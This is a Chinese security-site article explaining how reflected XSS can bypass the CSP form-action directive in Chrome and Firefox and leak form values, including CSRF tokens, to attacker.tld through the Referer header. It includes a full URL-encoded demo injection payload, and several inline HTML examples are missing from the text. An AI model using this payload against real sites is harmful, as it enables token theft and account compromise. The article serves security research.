设为首页 - 加入收藏 - 网站地图 SecYe安全 Www.SecYe.Com - 国内网络信息安全IT技术门户网
当前位置:SecYe > 网络安全 > 系统和服务器安全 > 正文

如何通过反射型 XSS 绕过配合 form-action 绕过 CSP

时间:2016-12-12 09:33 来源:未知 作者:SecYe安全 阅读:

本文讲述的是如何通过反射型 XSS 绕过配合 form-action 绕过 CSP,旨在服务社会,供安全研究人员学习使用,请勿用于其他非法用途,违者后果自负。CSP(Content-Security-Policy)是一个HTTP响应头,该响应头包含了指示浏览器如何限制页面上的内容的指令。 例如,”form-action”指令限制了可以提交的原始表单。CSP form-action指令可以限制页面可以提交表单到那些URL。在XSS/HTML注入错误的情况下,可以绕过此保护。

form-action指令

要理解为什么”form-action”指令从安全角度来说很重要,请想象下面这种情况:

Content-Security-Policy: default-src ‘none’;

[Reflected XSS vulnerability here]

由于CSP不允许脚本,我们不能使用脚本来提取csrf令牌。 然而,通过注入一个

标签,我们可以覆盖提交表单(包括csrf令牌)的位置:

Content-Security-Policy: default-src ‘none’;

在Chrome中绕过

可以通过将现有表单的方法(使用formmethod属性)重写为”GET”并将操作(使用formaction属性)重写为””(当前页面)来绕过该伪指令。然后,我们将此与泄露元素相结合(例如“

”)

Content-Security-Policy: default-src ‘none’;隐藏域

当受害者点击注入的提交按钮时,浏览器将把表单值作为GET参数发送到当前页面。 这些GET参数然后泄漏给attacker.tld,因为引用了泄露元素。换句话说,表单值(包括CSRF令牌)将通过Referer头发送到http://attacker.tld 。 form-action绕过成功。

Demo

http://bugbounty.se/csp_bypass.php?xss=%3Cinput%20value=%22CLICK%20ME%20FOR%20POC%22%20type=%22submit%22%20formaction=%22%22%20form=%22subscribe%22%20formmethod=%22get%22%20/%3E%3Cinput%20type=%22hidden%22%20name=%22xss%22%20form=%22subscribe%22%20value=%22%3Clink%20rel=%27subresource%27%20href=%27http://attacker.tld/link-subresource%27%3E%22/%3E

后果

 

\

 

在Firefox中绕过

Firefox的攻击本质上是一样的,但不是使用”

”,我们使用””,使用这个的缺点是用户必须点击两次而不是一次。

本文来源:SecYe安全网[http://www.secye.com] (责任编辑:SecYe安全)

点击复制链接 与好友分享!

顶一下
(0)
0%
踩一下
(0)
0%